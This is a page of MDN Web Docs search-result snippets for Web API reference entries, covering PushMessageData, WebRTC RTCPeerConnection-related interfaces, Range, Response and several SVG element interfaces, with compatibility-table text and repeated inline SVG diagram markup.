... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetblob experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 37safari no support nowebview android no support ...
... nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental.
...And 2 more matches
PushMessageData.json() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetjson experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 37safari no support nowebview android no support ...
... nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental.
...And 2 more matches
PushMessageData.text() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 37safari no support nowebview android no support ...
... nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental.
...And 2 more matches
RTCDtlsTransport.state - Web APIs
the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state.
... failed the transport has failed as the result of an error (such as receipt of an error alert or failure to validate the remote fingerprint).
... examples this example presents a function, tallysenders(), which iterates over an rtcpeerconnection's rtcrtpsenders, tallying up how many of them are in various states.
...And 2 more matches
RTCIceCandidateInit - Web APIs
the webrtc api's rtcicecandidateinit dictionary, which contains the information needed to fundamentally describe an rtcicecandidate.
... sdpmid optional the identification tag of the media stream with which the candidate is associated, or null if there is no associated media stream.
... sdpmlineindex optional the zero-based index of the m-line within the sdp of the media description with which the candidate is associated, or null if no such associated exists.
...And 2 more matches
RTCIceTransport.getLocalCandidates() - Web APIs
the rtcicetransport method getlocalcandidates() returns an array of rtcicecandidate objects, one for each of the candidates that have been gathered by the local device during the current ice agent session.
... return value a javascript array containing one rtcicecandidate object for each candidate that has been identified so far during the ice candidate gathering session.
... you can't correlate these local candidates with matching remote candidates.
...And 2 more matches
RTCIceTransport.getRemoteCandidates() - Web APIs
the rtcicetransport method getremotecandidates() returns an array which contains one rtcicecandidate for each of the candidates that have been received from the remote peer so far during the current ice gathering session.
... each time your signaling code calls rtcpeerconnection.addicecandidate() to add a received candidate to the ice session, the ice agent places it in the list returned by this function.
... return value an array containing one rtcicecandidate object for each candidate that has been received so far from the remote peer during the current ice candidate gathering session.
...And 2 more matches
RTCOutboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcoutboundrtpstreamstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtpsender for which this object provides statistics.
...these are sent by the receiver's decoder to notify the sender's encoder that an undefined amount of coded video data, which may span frame boundaries, has been lost.
... usage notes upon receiving a pli packet, the sender may have responded by sending a full frame to the remote peer to allow it to re-synchronize with the media.
...And 2 more matches
RTCPeerConnection.addStream() - Web APIs
instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer.
... navigator.mediadevices.getusermedia({video:true, audio:true}, function(stream) { var pc = new rtcpeerconnection(); pc.addstream(stream); }); migrating to addtrack() compatibility allowing, you should update your code to instead use the addtrack() method: navigator.getusermedia({video:true, audio:true}, function(stream) { var pc = new rtcpeerconnection(); stream.gettracks().foreach(function(track) { pc.addtrack(track, stream); }); }); the newer addtrack() api avoids confusion over whether later changes to the track-makeup of a stream affects a peer connection (they do not).
... the exception is in chrome, where addstream() does make the peer connection sensitive to later stream changes (though such changes do not fire the negotiationneeded event).
...And 2 more matches
RTCPeerConnection.addTransceiver() - Web APIs
each transceiver represents a bidirectional stream, with both an rtcrtpsender and an rtcrtpreceiver associated with it.
... syntax rtptransceiver = rtcpeerconnection.addtransceiver(trackorkind, init); parameters trackorkind a mediastreamtrack to associate with the transceiver, or a domstring which is used as the kind of the receiver's track, and by extension of the rtcrtpreceiver itself.
... init optional an object that conforms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the new transceiver.
...And 2 more matches
RTCPeerConnection.onnegotiationneeded - Web APIs
the rtcpeerconnection interface's onnegotiationneeded property is an eventlistener which specifies a function which is called to handle the negotiationneeded event when it occurs on an rtcpeerconnection instance.
... this event is fired when a change has occurred which requires session negotiation.
... this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer.
...And 2 more matches
RTCPeerConnection.ontrack - Web APIs
the rtcpeerconnection property ontrack is an eventhandler which specifies a function to be called when the track event occurs, indicating that a track has been added to the rtcpeerconnection.
... the function receives as input the event object, of type rtctrackevent; this event is sent when a new incoming mediastreamtrack has been created and associated with an rtcrtpreceiver object which has been added to the set of receivers on connection.
...this information includes the mediastreamtrack object representing the new track, the rtcrtpreceiver and rtcrtptransceiver, and a list of mediastream objects which indicates which stream or streams the track is part of..
...And 2 more matches
RTCPeerConnection.peerIdentity - Web APIs
the read-only rtcpeerconnection property peeridentity returns a javascript promise that resolves to an rtcidentityassertion which contains a domstring identifying the remote peer.
... once this promise resolves successfully, the resulting identity is the target peer identity and cannot change for the duration of the connection.
... syntax var identity = rtcpeerconnection.peeridentity; value a javascript promise which resolves to an rtcidentityassertion that describes the remote peer's identity.
...And 2 more matches
RTCPeerConnection.pendingLocalDescription - Web APIs
the read-only property rtcpeerconnection.pendinglocaldescription returns an rtcsessiondescription object describing a pending configuration change for the local end of the connection.
... syntax sessiondescription = rtcpeerconnection.pendinglocaldescription; return value if a local description change is in progress, this is an rtcsessiondescription describing the proposed configuration.
... example this example looks at the pendinglocaldescription to determine whether or not there's a description change being processed.
...And 2 more matches
RTCPeerConnection.pendingRemoteDescription - Web APIs
the read-only property rtcpeerconnection.pendingremotedescription returns an rtcsessiondescription object describing a pending configuration change for the remote end of the connection.
... syntax sessiondescription = rtcpeerconnection.pendingremotedescription; return value if a remote description change is in progress, this is an rtcsessiondescription describing the proposed configuration.
... example this example looks at the pendingremotedescription to determine whether or not there's a description change being processed.
...And 2 more matches
RTCRtpParameters - Web APIs
to obtain the parameters of a sender or receiver, call its getparameters() method: getparameters() getparameters() properties codecs an array of rtcrtpcodecparameters objects describing the set of codecs from which the sender or receiver will choose.
... this parameter cannot be changed once initially set.
... headerextensions an array of zero or more rtp header extensions, each identifying an extension supported by the sender or receiver.
...And 2 more matches
RTCRtpReceiver - Web APIs
rtcrtpreceiver.transport read only returns the rtcdtlstransport instance over which the media for the receiver's track is received.
... methods rtcrtpreceiver.getcontributingsources() returns an array of rtcrtpcontributingsource instances for each unique csrc (contributing source) identifier received by the current rtcrtpreceiver in the last ten seconds.
... rtcrtpreceiver.getparameters() returns an rtcrtpparameters object which contains information about how the rtc data is to be decoded.
...And 2 more matches
RTCRtpSender.setStreams() - Web APIs
syntax rtcrtpsender.setstreams(mediastream); rtcrtpsender.setstreams([mediastream...]); parameters mediastream or [mediastream...] optional an mediastream object—or an array of multiple mediastream objects—identifying the streams to which the rtcrtpsender's track belongs.
...if you specify streams to which the track already belongs, that stream is unaffected.
... once the track has been added to all of the streams, renegotiation of the connection will be triggered by the negotiationneeded event being dispatched to the rtcpeerconnection to which the sender belongs.
...And 2 more matches
RTCRtpTransceiver.stop() - Web APIs
instead, check the value of currentdirection.
... return value undefined exceptions invalidstateerror the rtcpeerconnection of which the transceiver is a member is closed.
... usage notes when you call stop() on a transceiver, the sender immediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message.
...And 2 more matches
RTCSessionDescription() - Web APIs
this constructor has been deprecated because rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself.
...a string which is a member of the rtcsdptype enum; it must have one of the following values: this enum defines strings that describe the current state of the session description, as used in the type property.
... value description answer the sdp contained in the sdp property is the definitive choice in the exchange.
...And 2 more matches
RTCSessionDescription - Web APIs
each rtcsessiondescription consists of a description type indicating which part of the offer/answer negotiation process it describes and of the sdp descriptor of the session.
... the process of negotiating a connection between two peers involves exchanging rtcsessiondescription objects back and forth, with each description suggesting one combination of connection configuration options that the sender of the description supports.
... value description answer the sdp contained in the sdp property is the definitive choice in the exchange.
...And 2 more matches
RTCTrackEvent() - Web APIs
the rtctrackevent() constructor creates and returns a new rtctrackevent object, configured to describe the track which has been added to the rtcpeerconnection.
... syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, providing information about the track which has been added to the rtcpeerconnection.
... this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media.
...And 2 more matches
RadioNodeList.value - Web APIs
if the underlying element collection contains radio buttons, the radionodelist.value property represents the checked radio button.
... on retrieving the value property, the value of the currently checked radio button is returned as a string.
... if the collection does not contain any radio buttons or none of the radio buttons in the collection is in checked state, the empty string is returned.
...And 2 more matches
Range.commonAncestorContainer - Web APIs
since a range need not be continuous, and may also partially select nodes, this is a convenient way to find a node which encloses a range.
...to change the ancestor container of a node, consider using the various methods available to set the start and end positions of the range, such as range.setstart() and range.setend().
...the listener gets the common ancestors of each piece of selected text, and triggers an animation to highlight them.
...And 2 more matches
Range.setEnd() - Web APIs
WebAPIRangesetEnd
syntax range.setend(endnode, endoffset); parameters endnode the node inside which the range should end.
... usage notes if the endnode is a node of type text, comment, or cdatasection, then endoffset is the number of characters from the start of endnode.
... for other node types, endoffset is the number of child nodes between the start of the endnode.
...And 2 more matches
ReadableStreamDefaultReader - Web APIs
a fetch request).
...the supplied reason argument will be given to the underlying source, which may or may not use it.
... readablestreamdefaultreader.read() returns a promise providing access to the next chunk in the stream's internal queue.
...And 2 more matches
Response - Web APIs
WebAPIResponse
the response interface of the fetch api represents the response to a request.
... you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a service worker fetchevent.respondwith, or a simple windoworworkerglobalscope.fetch().
... examples in our basic fetch example (run example live) we use a simple fetch() call to grab an image and display it in an <img> element.
...And 2 more matches
SVGAnimateMotionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
...And 2 more matches
SVGAnimateTransformElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
...And 2 more matches
SVGAnimatedPathData - Web APIs
svg animated path data interface the svganimatedpathdata interface supports elements which have a 'd' attribute which holds svg path data, and supports the ability to animate that attribute.
... animatedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form which matches one-for-one with svg's syntax.
... pathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form which matches one-for-one with svg's syntax.
...And 2 more matches
SVGAnimatedPoints - Web APIs
svg animated points interface the svganimatedpoints interface supports elements which have a points attribute which holds a list of coordinate values and which support the ability to animate that attribute.
... additionally, the points attribute on the original element accessed via the xml dom (e.g., using the getattribute() method call) will reflect any changes made to the svganimatedpoints.points attribut.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
SVGAnimatedString - Web APIs
the svganimatedstring interface represents string attributes which can be animated from each svg declaration.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedstringchrome full support yesedge full support ≤18firefox full support yesie no support noopera full support yessafari full support yeswebview android full support yeschrome android no support nofirefox android full support ye...
...And 2 more matches
SVGAnimationElement: endEvent event - Web APIs
the endevent event of the svganimationelement interface is fired when at the active end of the animation is reached.
... note: this event is not raised at the simple end of each animation repeat.
...scheduled or interactive) timeline play, as well as in the case that the element was ended with a dom method.
...And 2 more matches
SVGComponentTransferFunctionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-...
...And 2 more matches
SVGFEBlendElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeblendelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 2 more matches
SVGFEColorMatrixElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecolormatrixelement" target="_top"><rect x="251" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="366" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mi...
...And 2 more matches
SVGFECompositeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecompositeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...And 2 more matches
SVGFEConvolveMatrixElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeconvolvematrixelement" target="_top"><rect x="221" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline=...
...And 2 more matches
SVGFEFuncAElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
